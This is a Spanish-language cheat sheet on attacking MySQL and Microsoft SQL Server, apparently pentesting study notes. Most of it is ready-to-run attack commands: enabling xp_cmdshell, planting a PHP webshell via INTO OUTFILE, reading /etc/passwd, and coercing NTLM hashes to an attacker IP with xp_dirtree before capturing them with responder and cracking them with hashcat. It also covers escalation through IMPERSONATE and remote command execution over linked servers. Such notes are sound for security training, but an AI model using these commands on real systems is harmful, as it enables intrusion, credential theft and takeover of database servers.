Bases de Datos - Ataques a MySQL & MSSQL
📖 Introducción
-
MySQL y Microsoft SQL Server (MSSQL) son gestores de bases de datos relacionales.
-
Usan SQL (Structured Query Language) para almacenar y consultar datos.
-
Objetivo prioritario 🎯 porque guardan:
-
Credenciales 🔑
-
Información personal (PII) 🧑💻
-
Datos financieros 💳
-
Configuraciones críticas ⚙️
-
🔎 Enumeración inicial
Puertos por defecto
-
MySQL →
3306/TCP -
MSSQL →
1433/TCPy1434/UDP- En modo oculto →
2433/TCP
- En modo oculto →
Banner grabbing con Nmap
nmap -sC -sV -p1433,3306 <IP>

Revela:
-
Versión de SQL Server
-
Nombre de host
-
Configuración de autenticación
🔐 Autenticación en MSSQL
-
Windows Authentication → usa cuentas de AD (SSPI).
-
Mixed Mode → acepta usuarios de AD y SQL locales.
⚠️ Misconfiguración común → usuarios sin contraseña o acceso anónimo.
🐛 Vulnerabilidades conocidas
-
MySQL CVE-2012-2122 → timing attack que permite autenticación con password incorrecta repetida.
-
Configuración débil → acceso sin contraseña o usuarios globales.
📂 Bases de datos por defecto
MySQL
-
mysql→ usuarios y privilegios. -
information_schema→ metadatos de tablas/columnas. -
performance_schema→ métricas de rendimiento. -
sys→ vistas de ayuda para admins.
MSSQL
-
master→ configuración principal. -
msdb→ tareas automáticas. -
model→ plantilla para nuevas DB. -
tempdb→ objetos temporales. -
resource→ objetos de sistema.
🛠️ Conexión a bases de datos
MySQL
mysql -u usuario -pContraseña -h <IP>
MSSQL
sqlcmd -S <server> -U usuario -P password
sqsh -S <IP> -U usuario -P password
mssqlclient.py usuario@<IP> -p 1433

📊 Consultas básicas
🔍 Mostrar bases de datos
SHOW DATABASES;
SELECT name FROM master.dbo.sysdatabases;
📂 Seleccionar base de datos
USE <base de datos>
📑 Mostrar tablas
SHOW TABLES;
SELECT table_name FROM INFORMATION_SCHEMA.TABLES;
Mostrar los datos
👤 Dump de usuarios
SELECT * FROM users;
⚡ Ejecución de comandos en SQL
MSSQL – xp_cmdshell
EXEC xp_cmdshell 'whoami';
-
Permite ejecutar comandos del sistema 🖥️.
-
Requiere habilitación:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
MySQL – Webshell PHP
SELECT "<?php system($_GET['c']);?>"
INTO OUTFILE '/var/www/html/shell.php';
⚠️ Depende de secure_file_priv.
📥 Leer y escribir archivos
MSSQL
SELECT * FROM OPENROWSET(
BULK N'C:/Windows/System32/drivers/etc/hosts',
SINGLE_CLOB
) AS Contents;
MySQL
SELECT LOAD_FILE('/etc/passwd');
🪪 Robo de hashes con MSSQL
📌 Usando xp_dirtree o xp_subdirs:
EXEC master..xp_dirtree '\\<attackerIP>\share\';
go
-
El servidor MSSQL intenta conectarse a SMB → envía NTLMv2 hash 😈.
-
Captura con:
sudo impacket-smbserver share ./ -smb2support
o
sudo responder -I tun0
Reciberemos el hash del usuario

Crackear la contraseña
hashcat -m 5600 mssqlsvc.hash /usr/share/wordlists/rockyou.txt
hashcat mssqlsvc.hash --showS

🎭 Suplantación de usuarios (IMPERSONATE)
Listar usuarios que podemos suplantar:
SELECT b.name
FROM sys.server_permissions a
JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

Ejemplo → Escalada a simon:
EXECUTE AS LOGIN = 'simon'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Si aparece 0 significa que no tenemos permiso de administrador
Ahora somos simon

🔄 Movimiento lateral con servidores vinculados
Identificar linked servers:
SELECT srvname, isremote FROM sysservers;
🎯 Ejecución de Consultas en Servidores Remotos
EXECUTE('select @@servername, system_user') AT [10.0.0.12\SQLEXPRESS];
🚀 Si tiene rol sysadmin, podemos usar xp_cmdshell remoto.
⚡ Ejecución de Comandos en Servidores Remotos
EXECUTE('EXEC xp_cmdshell ''whoami''') AT [REMOTE_SERVER]; -- 🖥️ Comando remoto
GO
EXECUTE('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;')
AT [REMOTE_SERVER]; -- ⚙️ Opciones avanzadas remotas
GO
EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;')
AT [REMOTE_SERVER]; -- 🖥️ xp_cmdshell remoto
GO